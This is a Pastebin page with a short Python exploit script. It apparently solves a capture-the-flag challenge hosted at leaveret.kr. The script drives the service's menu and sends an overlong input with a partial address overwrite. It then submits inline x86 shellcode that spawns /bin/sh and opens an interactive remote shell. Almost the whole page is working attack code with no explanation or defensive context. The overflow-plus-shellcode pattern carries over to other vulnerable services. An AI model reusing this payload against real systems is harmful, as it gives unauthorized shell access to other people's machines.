Advertisement
Jinmo

simple_comment.py

Jul 28th, 2015
425
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.74 KB | None | 0 0
  1. import socket
  2. import sys
  3. import telnetlib
  4. t = telnetlib.Telnet()
  5. s = socket.create_connection(('leaveret.kr', 10099))
  6. t.sock = s
  7. def recv_until(t):
  8.     global s
  9.     d = ''
  10.     while t not in d:
  11.         c = s.recv(1)
  12.         sys.stdout.write(c)
  13.         d += c
  14. recv_until('Input : ')
  15. s.send('1\n')
  16. recv_until(' : ')
  17. s.send('a' * 504 + '\xA0\xC0' + '@a.a\n')
  18. recv_until('Input : ')
  19. s.send('2\n')
  20. recv_until(' : ')
  21. s.send('a' * 504 + '\xA0\xC0' + '@a.a\n')
  22. recv_until('Input : ')
  23. s.send('5\n')
  24. recv_until(' : ')
  25. shellcode = "\x99""\x31\xc0""\x52""\x68\x6e\x2f\x73\x68""\x68\x2f\x2f\x62\x69""\x89\xe3""\x52""\x53""\x89\xe1""\xb0\x0b""\xcd\x80"
  26. payload = shellcode
  27. payload += 'A' * (502 - len(payload))
  28. payload += '@a.a'
  29. s.send(payload + '\n')
  30. t.interact()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement